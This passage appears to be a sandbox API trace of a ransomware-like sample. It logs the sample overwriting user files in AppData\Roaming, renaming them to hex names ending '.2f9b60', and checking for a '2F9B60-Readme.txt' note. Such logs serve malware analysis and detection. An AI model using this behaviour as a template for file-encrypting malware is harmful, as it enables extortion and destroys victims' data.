[0103.990] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f2e130 [0103.990] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263ef0 [0103.990] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261e80 [0103.990] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261e80) returned 1 [0103.990] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503d10) returned 1 [0103.990] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97850) returned 1 [0103.990] WriteFile (in: hFile=0x17c8, lpBuffer=0x41f2e130*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2fe4f820, lpOverlapped=0x0 | out: lpBuffer=0x41f2e130*, lpNumberOfBytesWritten=0x2fe4f820*=0x3c00, lpOverlapped=0x0) returned 1 [0104.163] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f2e130) returned 1 [0104.163] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f2a520) returned 1 [0104.163] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1cd9f230 [0104.164] SetFilePointerEx (in: hFile=0x17c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0104.164] WriteFile (in: hFile=0x17c8, lpBuffer=0x4205a890*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2fe4f8d0, lpOverlapped=0x0 | out: lpBuffer=0x4205a890*, lpNumberOfBytesWritten=0x2fe4f8d0*=0x112, lpOverlapped=0x0) returned 1 [0104.258] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97f80 [0104.258] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503b10 [0104.258] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262450 [0104.258] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262450) returned 1 [0104.258] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262450 [0104.258] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261280 [0104.258] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262f00 [0104.258] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262f00) returned 1 [0104.258] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503b10) returned 1 [0104.258] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97f80) returned 1 [0104.258] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x41) returned 0x1cd97f80 [0104.258] sprintf (in: _Dest=0x1cd97f80, _Format="%c%c" | out: _Dest="ac") returned 2 [0104.258] sprintf (in: _Dest=0x1cd97f82, _Format="%c%c" | out: _Dest="08") returned 2 [0104.259] sprintf (in: _Dest=0x1cd97f84, _Format="%c%c" | out: _Dest="fc") returned 2 [0104.259] sprintf (in: _Dest=0x1cd97f86, _Format="%c%c" | out: _Dest="a7") returned 2 [0104.259] sprintf (in: _Dest=0x1cd97f88, _Format="%c%c" | out: _Dest="c6") returned 2 [0104.259] sprintf (in: _Dest=0x1cd97f8a, _Format="%c%c" | out: _Dest="04") returned 2 [0104.259] sprintf (in: _Dest=0x1cd97f8c, _Format="%c%c" | out: _Dest="ae") returned 2 [0104.259] sprintf (in: _Dest=0x1cd97f8e, _Format="%c%c" | out: _Dest="5e") returned 2 [0104.259] sprintf (in: _Dest=0x1cd97f90, _Format="%c%c" | out: _Dest="30") returned 2 [0104.259] sprintf (in: _Dest=0x1cd97f92, _Format="%c%c" | out: _Dest="b7") returned 2 [0104.259] sprintf (in: _Dest=0x1cd97f94, _Format="%c%c" | out: _Dest="58") returned 2 [0104.259] sprintf (in: _Dest=0x1cd97f96, _Format="%c%c" | out: _Dest="94") returned 2 [0104.259] sprintf (in: _Dest=0x1cd97f98, _Format="%c%c" | out: _Dest="c5") returned 2 [0104.259] sprintf (in: _Dest=0x1cd97f9a, _Format="%c%c" | out: _Dest="04") returned 2 [0104.259] sprintf (in: _Dest=0x1cd97f9c, _Format="%c%c" | out: _Dest="5a") returned 2 [0104.259] sprintf (in: _Dest=0x1cd97f9e, _Format="%c%c" | out: _Dest="01") returned 2 [0104.259] sprintf (in: _Dest=0x1cd97fa0, _Format="%c%c" | out: _Dest="a5") returned 2 [0104.259] sprintf (in: _Dest=0x1cd97fa2, _Format="%c%c" | out: _Dest="5a") returned 2 [0104.259] sprintf (in: _Dest=0x1cd97fa4, _Format="%c%c" | out: _Dest="08") returned 2 [0104.259] sprintf (in: _Dest=0x1cd97fa6, _Format="%c%c" | out: _Dest="b9") returned 2 [0104.259] sprintf (in: _Dest=0x1cd97fa8, _Format="%c%c" | out: _Dest="be") returned 2 [0104.259] sprintf (in: _Dest=0x1cd97faa, _Format="%c%c" | out: _Dest="ad") returned 2 [0104.259] sprintf (in: _Dest=0x1cd97fac, _Format="%c%c" | out: _Dest="de") returned 2 [0104.259] sprintf (in: _Dest=0x1cd97fae, _Format="%c%c" | out: _Dest="c2") returned 2 [0104.259] sprintf (in: _Dest=0x1cd97fb0, _Format="%c%c" | out: _Dest="d8") returned 2 [0104.259] sprintf (in: _Dest=0x1cd97fb2, _Format="%c%c" | out: _Dest="66") returned 2 [0104.260] sprintf (in: _Dest=0x1cd97fb4, _Format="%c%c" | out: _Dest="20") returned 2 [0104.260] sprintf (in: _Dest=0x1cd97fb6, _Format="%c%c" | out: _Dest="77") returned 2 [0104.260] sprintf (in: _Dest=0x1cd97fb8, _Format="%c%c" | out: _Dest="71") returned 2 [0104.260] sprintf (in: _Dest=0x1cd97fba, _Format="%c%c" | out: _Dest="8f") returned 2 [0104.260] sprintf (in: _Dest=0x1cd97fbc, _Format="%c%c" | out: _Dest="15") returned 2 [0104.260] sprintf (in: _Dest=0x1cd97fbe, _Format="%c%c" | out: _Dest="a7") returned 2 [0104.260] RtlInitAnsiString (in: DestinationString=0x2fe4f948, SourceString="ac08fca7c604ae5e30b75894c5045a01a55a08b9beaddec2d8662077718f15a7" | out: DestinationString="ac08fca7c604ae5e30b75894c5045a01a55a08b9beaddec2d8662077718f15a7") [0104.260] RtlAnsiStringToUnicodeString (in: DestinationString=0x2fe4f918, SourceString="ac08fca7c604ae5e30b75894c5045a01a55a08b9beaddec2d8662077718f15a7", AllocateDestinationString=1 | out: DestinationString="ac08fca7c604ae5e30b75894c5045a01a55a08b9beaddec2d8662077718f15a7") returned 0x0 [0104.260] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x2050b100 [0104.260] wcscat (in: _Dest=0x204ff7d0, _Source="ac08fca7c604ae5e" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ac08fca7c604ae5e") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ac08fca7c604ae5e" [0104.260] wcscat (in: _Dest=0x204ff7d0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ac08fca7c604ae5e.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ac08fca7c604ae5e.2f9b60" [0104.260] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ac08fca7c604ae5e.2f9b60", NtPathName=0x2fe4f8f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ac08fca7c604ae5e.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0104.260] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x20279370 [0104.554] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279370) returned 1 [0104.554] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42050dd0) returned 1 [0104.554] NtQueryInformationFile (in: FileHandle=0x17c8, IoStatusBlock=0x2fe4f958, FileInformation=0x2fe4f968, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2fe4f958, FileInformation=0x2fe4f968) returned 0x0 [0104.554] NtSetInformationFile (FileHandle=0x17c8, IoStatusBlock=0x2fe4f958, FileInformation=0x2fe4f968, Length=0x28, FileInformationClass=0x4) returned 0x0 [0104.578] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff7d0) returned 1 [0104.578] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050b100) returned 1 [0104.578] FlushFileBuffers (hFile=0x17c8) returned 1 [0104.581] CloseHandle (hObject=0x17c8) returned 1 [0104.590] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x202a5070 [0104.591] wcscpy (in: _Dest=0x202a5070, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0104.591] wcscat (in: _Dest=0x202a5070, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt" [0104.591] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\2f9b60-readme.txt")) returned 0x2020 [0104.591] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a5070) returned 1 [0104.591] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a5100) returned 1 Thread: id = 952 os_tid = 0x1588 [0101.250] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ZWQxY1yR2jVSnKp8sjE1.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\zwqxy1yr2jvsnkp8sje1.mp4")) returned 0x2020 [0101.250] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ZWQxY1yR2jVSnKp8sjE1.mp4", dwFileAttributes=0x20) returned 1 [0104.635] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ZWQxY1yR2jVSnKp8sjE1.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\zwqxy1yr2jvsnkp8sje1.mp4"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd7c [0104.635] GetFileSizeEx (in: hFile=0xd7c, lpFileSize=0x2ff3f840 | out: lpFileSize=0x2ff3f840*=48045) returned 1 [0104.635] SetFilePointerEx (in: hFile=0xd7c, liDistanceToMove=0xbba9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.635] ReadFile (in: hFile=0xd7c, lpBuffer=0x2ff3f7c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2ff3f808, lpOverlapped=0x0 | out: lpBuffer=0x2ff3f7c0*, lpNumberOfBytesRead=0x2ff3f808*=0x4, lpOverlapped=0x0) returned 1 [0104.636] SetFilePointerEx (in: hFile=0xd7c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.636] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260590 [0104.636] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202605c0 [0104.636] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261f70 [0104.636] NtQuerySystemTime (in: CurrentTime=0x2ff3f700 | out: CurrentTime=0x2ff3f700*=132462177101278000) returned 0x0 [0104.636] RtlRandomEx (in: Seed=0x2ff3f6f0 | out: Seed=0x2ff3f6f0) returned 0x491f93f4 [0104.636] RtlRandomEx (in: Seed=0x2ff3f6f0 | out: Seed=0x2ff3f6f0) returned 0x7f94725 [0104.637] RtlRandomEx (in: Seed=0x2ff3f6f0 | out: Seed=0x2ff3f6f0) returned 0x1a713c10 [0104.637] RtlRandomEx (in: Seed=0x2ff3f6f0 | out: Seed=0x2ff3f6f0) returned 0xab0022e [0104.637] RtlRandomEx (in: Seed=0x2ff3f6f0 | out: Seed=0x2ff3f6f0) returned 0x50b90c84 [0104.637] RtlRandomEx (in: Seed=0x2ff3f6f0 | out: Seed=0x2ff3f6f0) returned 0x49fc4764 [0104.637] RtlRandomEx (in: Seed=0x2ff3f6f0 | out: Seed=0x2ff3f6f0) returned 0x6edbaffa [0104.637] RtlRandomEx (in: Seed=0x2ff3f6f0 | out: Seed=0x2ff3f6f0) returned 0x7a948ff5 [0104.637] RtlRandomEx (in: Seed=0x2ff3f6f0 | out: Seed=0x2ff3f6f0) returned 0x602b8965 [0104.637] RtlRandomEx (in: Seed=0x2ff3f6f0 | out: Seed=0x2ff3f6f0) returned 0x24f4006e [0104.637] RtlRandomEx (in: Seed=0x2ff3f6f0 | out: Seed=0x2ff3f6f0) returned 0x3c71cd07 [0104.637] RtlRandomEx (in: Seed=0x2ff3f6f0 | out: Seed=0x2ff3f6f0) returned 0x747fa20f [0104.637] RtlRandomEx (in: Seed=0x2ff3f6f0 | out: Seed=0x2ff3f6f0) returned 0x18e3310b [0104.637] RtlRandomEx (in: Seed=0x2ff3f6f0 | out: Seed=0x2ff3f6f0) returned 0x6933ef89 [0104.637] RtlRandomEx (in: Seed=0x2ff3f6f0 | out: Seed=0x2ff3f6f0) returned 0x132eec25 [0104.637] RtlRandomEx (in: Seed=0x2ff3f6f0 | out: Seed=0x2ff3f6f0) returned 0x4fd3d0f6 [0104.637] RtlRandomEx (in: Seed=0x2ff3f6f0 | out: Seed=0x2ff3f6f0) returned 0x17f5b82e [0104.637] RtlRandomEx (in: Seed=0x2ff3f6f0 | out: Seed=0x2ff3f6f0) returned 0x3015af26 [0104.637] RtlRandomEx (in: Seed=0x2ff3f6f0 | out: Seed=0x2ff3f6f0) returned 0x6b9e7635 [0104.637] RtlRandomEx (in: Seed=0x2ff3f6f0 | out: Seed=0x2ff3f6f0) returned 0x3b5e6ce6 [0104.637] RtlRandomEx (in: Seed=0x2ff3f6f0 | out: Seed=0x2ff3f6f0) returned 0x5a319001 [0104.637] RtlRandomEx (in: Seed=0x2ff3f6f0 | out: Seed=0x2ff3f6f0) returned 0x1b152a76 [0104.637] RtlRandomEx (in: Seed=0x2ff3f6f0 | out: Seed=0x2ff3f6f0) returned 0x33ead01 [0104.637] RtlRandomEx (in: Seed=0x2ff3f6f0 | out: Seed=0x2ff3f6f0) returned 0x23395b7b [0104.637] RtlRandomEx (in: Seed=0x2ff3f6f0 | out: Seed=0x2ff3f6f0) returned 0x4762e300 [0104.637] RtlRandomEx (in: Seed=0x2ff3f6f0 | out: Seed=0x2ff3f6f0) returned 0x6a7b42c9 [0104.637] RtlRandomEx (in: Seed=0x2ff3f6f0 | out: Seed=0x2ff3f6f0) returned 0x289d1c68 [0104.637] RtlRandomEx (in: Seed=0x2ff3f6f0 | out: Seed=0x2ff3f6f0) returned 0x3c0c9ee [0104.637] RtlRandomEx (in: Seed=0x2ff3f6f0 | out: Seed=0x2ff3f6f0) returned 0x5014f6ae [0104.637] RtlRandomEx (in: Seed=0x2ff3f6f0 | out: Seed=0x2ff3f6f0) returned 0x497274dc [0104.637] RtlRandomEx (in: Seed=0x2ff3f6f0 | out: Seed=0x2ff3f6f0) returned 0x592750b0 [0104.637] RtlRandomEx (in: Seed=0x2ff3f6f0 | out: Seed=0x2ff3f6f0) returned 0x335927d2 [0104.647] SetFilePointerEx (in: hFile=0xd7c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.647] ReadFile (in: hFile=0xd7c, lpBuffer=0x1ce73da0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2ff3f760, lpOverlapped=0x0 | out: lpBuffer=0x1ce73da0*, lpNumberOfBytesRead=0x2ff3f760*=0x3c00, lpOverlapped=0x0) returned 1 [0104.647] SetFilePointerEx (in: hFile=0xd7c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.648] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd976c0 [0104.648] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ec90 [0104.648] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260590 [0104.648] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260590) returned 1 [0104.648] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ce7f1d0 [0104.648] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260590 [0104.648] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261f70 [0104.648] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261f70) returned 1 [0104.649] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ec90) returned 1 [0104.649] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd976c0) returned 1 [0104.649] WriteFile (in: hFile=0xd7c, lpBuffer=0x1ce7f1d0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2ff3f760, lpOverlapped=0x0 | out: lpBuffer=0x1ce7f1d0*, lpNumberOfBytesWritten=0x2ff3f760*=0x3c00, lpOverlapped=0x0) returned 1 [0104.808] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce7f1d0) returned 1 [0104.808] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce73da0) returned 1 [0104.808] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3e) returned 0x1cd97f30 [0104.808] SetFilePointerEx (in: hFile=0xd7c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0104.808] WriteFile (in: hFile=0xd7c, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x2ff3f810, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x2ff3f810*=0x122, lpOverlapped=0x0) returned 1 [0105.114] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c760 [0105.114] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85eb90 [0105.114] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202609e0 [0105.114] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202609e0) returned 1 [0105.114] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x1cd9f6b0 [0105.114] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202609e0 [0105.114] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202624e0 [0105.114] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202624e0) returned 1 [0105.114] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85eb90) returned 1 [0105.114] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c760) returned 1 [0105.114] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x61) returned 0x1ced5b00 [0105.114] sprintf (in: _Dest=0x1ced5b00, _Format="%c%c" | out: _Dest="1e") returned 2 [0105.115] sprintf (in: _Dest=0x1ced5b02, _Format="%c%c" | out: _Dest="90") returned 2 [0105.115] sprintf (in: _Dest=0x1ced5b04, _Format="%c%c" | out: _Dest="b8") returned 2 [0105.115] sprintf (in: _Dest=0x1ced5b06, _Format="%c%c" | out: _Dest="14") returned 2 [0105.115] sprintf (in: _Dest=0x1ced5b08, _Format="%c%c" | out: _Dest="26") returned 2 [0105.115] sprintf (in: _Dest=0x1ced5b0a, _Format="%c%c" | out: _Dest="76") returned 2 [0105.115] sprintf (in: _Dest=0x1ced5b0c, _Format="%c%c" | out: _Dest="3d") returned 2 [0105.115] sprintf (in: _Dest=0x1ced5b0e, _Format="%c%c" | out: _Dest="6d") returned 2 [0105.115] sprintf (in: _Dest=0x1ced5b10, _Format="%c%c" | out: _Dest="7b") returned 2 [0105.115] sprintf (in: _Dest=0x1ced5b12, _Format="%c%c" | out: _Dest="9d") returned 2 [0105.115] sprintf (in: _Dest=0x1ced5b14, _Format="%c%c" | out: _Dest="53") returned 2 [0105.115] sprintf (in: _Dest=0x1ced5b16, _Format="%c%c" | out: _Dest="eb") returned 2 [0105.115] sprintf (in: _Dest=0x1ced5b18, _Format="%c%c" | out: _Dest="f7") returned 2 [0105.115] sprintf (in: _Dest=0x1ced5b1a, _Format="%c%c" | out: _Dest="15") returned 2 [0105.115] sprintf (in: _Dest=0x1ced5b1c, _Format="%c%c" | out: _Dest="5a") returned 2 [0105.115] sprintf (in: _Dest=0x1ced5b1e, _Format="%c%c" | out: _Dest="d1") returned 2 [0105.115] sprintf (in: _Dest=0x1ced5b20, _Format="%c%c" | out: _Dest="5c") returned 2 [0105.115] sprintf (in: _Dest=0x1ced5b22, _Format="%c%c" | out: _Dest="95") returned 2 [0105.115] sprintf (in: _Dest=0x1ced5b24, _Format="%c%c" | out: _Dest="4d") returned 2 [0105.115] sprintf (in: _Dest=0x1ced5b26, _Format="%c%c" | out: _Dest="2a") returned 2 [0105.115] sprintf (in: _Dest=0x1ced5b28, _Format="%c%c" | out: _Dest="57") returned 2 [0105.115] sprintf (in: _Dest=0x1ced5b2a, _Format="%c%c" | out: _Dest="5a") returned 2 [0105.116] sprintf (in: _Dest=0x1ced5b2c, _Format="%c%c" | out: _Dest="b4") returned 2 [0105.116] sprintf (in: _Dest=0x1ced5b2e, _Format="%c%c" | out: _Dest="ac") returned 2 [0105.116] sprintf (in: _Dest=0x1ced5b30, _Format="%c%c" | out: _Dest="6c") returned 2 [0105.116] sprintf (in: _Dest=0x1ced5b32, _Format="%c%c" | out: _Dest="3c") returned 2 [0105.116] sprintf (in: _Dest=0x1ced5b34, _Format="%c%c" | out: _Dest="5b") returned 2 [0105.116] sprintf (in: _Dest=0x1ced5b36, _Format="%c%c" | out: _Dest="68") returned 2 [0105.116] sprintf (in: _Dest=0x1ced5b38, _Format="%c%c" | out: _Dest="dd") returned 2 [0105.116] sprintf (in: _Dest=0x1ced5b3a, _Format="%c%c" | out: _Dest="26") returned 2 [0105.116] sprintf (in: _Dest=0x1ced5b3c, _Format="%c%c" | out: _Dest="53") returned 2 [0105.116] sprintf (in: _Dest=0x1ced5b3e, _Format="%c%c" | out: _Dest="4a") returned 2 [0105.116] sprintf (in: _Dest=0x1ced5b40, _Format="%c%c" | out: _Dest="47") returned 2 [0105.116] sprintf (in: _Dest=0x1ced5b42, _Format="%c%c" | out: _Dest="fb") returned 2 [0105.116] sprintf (in: _Dest=0x1ced5b44, _Format="%c%c" | out: _Dest="f2") returned 2 [0105.116] sprintf (in: _Dest=0x1ced5b46, _Format="%c%c" | out: _Dest="61") returned 2 [0105.116] sprintf (in: _Dest=0x1ced5b48, _Format="%c%c" | out: _Dest="03") returned 2 [0105.116] sprintf (in: _Dest=0x1ced5b4a, _Format="%c%c" | out: _Dest="fa") returned 2 [0105.116] sprintf (in: _Dest=0x1ced5b4c, _Format="%c%c" | out: _Dest="2e") returned 2 [0105.116] sprintf (in: _Dest=0x1ced5b4e, _Format="%c%c" | out: _Dest="6d") returned 2 [0105.116] sprintf (in: _Dest=0x1ced5b50, _Format="%c%c" | out: _Dest="09") returned 2 [0105.116] sprintf (in: _Dest=0x1ced5b52, _Format="%c%c" | out: _Dest="ca") returned 2 [0105.116] sprintf (in: _Dest=0x1ced5b54, _Format="%c%c" | out: _Dest="70") returned 2 [0105.116] sprintf (in: _Dest=0x1ced5b56, _Format="%c%c" | out: _Dest="27") returned 2 [0105.117] sprintf (in: _Dest=0x1ced5b58, _Format="%c%c" | out: _Dest="fd") returned 2 [0105.117] sprintf (in: _Dest=0x1ced5b5a, _Format="%c%c" | out: _Dest="4e") returned 2 [0105.117] sprintf (in: _Dest=0x1ced5b5c, _Format="%c%c" | out: _Dest="0c") returned 2 [0105.117] sprintf (in: _Dest=0x1ced5b5e, _Format="%c%c" | out: _Dest="c0") returned 2 [0105.117] RtlInitAnsiString (in: DestinationString=0x2ff3f888, SourceString="1e90b81426763d6d7b9d53ebf7155ad15c954d2a575ab4ac6c3c5b68dd26534a47fbf26103fa2e6d09ca7027fd4e0cc0" | out: DestinationString="1e90b81426763d6d7b9d53ebf7155ad15c954d2a575ab4ac6c3c5b68dd26534a47fbf26103fa2e6d09ca7027fd4e0cc0") [0105.117] RtlAnsiStringToUnicodeString (in: DestinationString=0x2ff3f858, SourceString="1e90b81426763d6d7b9d53ebf7155ad15c954d2a575ab4ac6c3c5b68dd26534a47fbf26103fa2e6d09ca7027fd4e0cc0", AllocateDestinationString=1 | out: DestinationString="1e90b81426763d6d7b9d53ebf7155ad15c954d2a575ab4ac6c3c5b68dd26534a47fbf26103fa2e6d09ca7027fd4e0cc0") returned 0x0 [0105.117] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc2) returned 0x118a20 [0105.117] wcscat (in: _Dest=0x2050d4d0, _Source="1e90b81426763d6d7b9d53eb" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1e90b81426763d6d7b9d53eb") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1e90b81426763d6d7b9d53eb" [0105.117] wcscat (in: _Dest=0x2050d4d0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1e90b81426763d6d7b9d53eb.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1e90b81426763d6d7b9d53eb.2f9b60" [0105.117] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1e90b81426763d6d7b9d53eb.2f9b60", NtPathName=0x2ff3f830, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1e90b81426763d6d7b9d53eb.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0105.117] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x118470 [0105.550] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118470) returned 1 [0105.550] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecd460) returned 1 [0105.550] NtQueryInformationFile (in: FileHandle=0xd7c, IoStatusBlock=0x2ff3f898, FileInformation=0x2ff3f8a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2ff3f898, FileInformation=0x2ff3f8a8) returned 0x0 [0105.550] NtSetInformationFile (FileHandle=0xd7c, IoStatusBlock=0x2ff3f898, FileInformation=0x2ff3f8a8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0105.585] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d4d0) returned 1 [0105.585] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118a20) returned 1 [0105.585] FlushFileBuffers (hFile=0xd7c) returned 1 [0105.588] CloseHandle (hObject=0xd7c) returned 1 [0105.593] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x202a4bf0 [0105.593] wcscpy (in: _Dest=0x202a4bf0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0105.593] wcscat (in: _Dest=0x202a4bf0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS 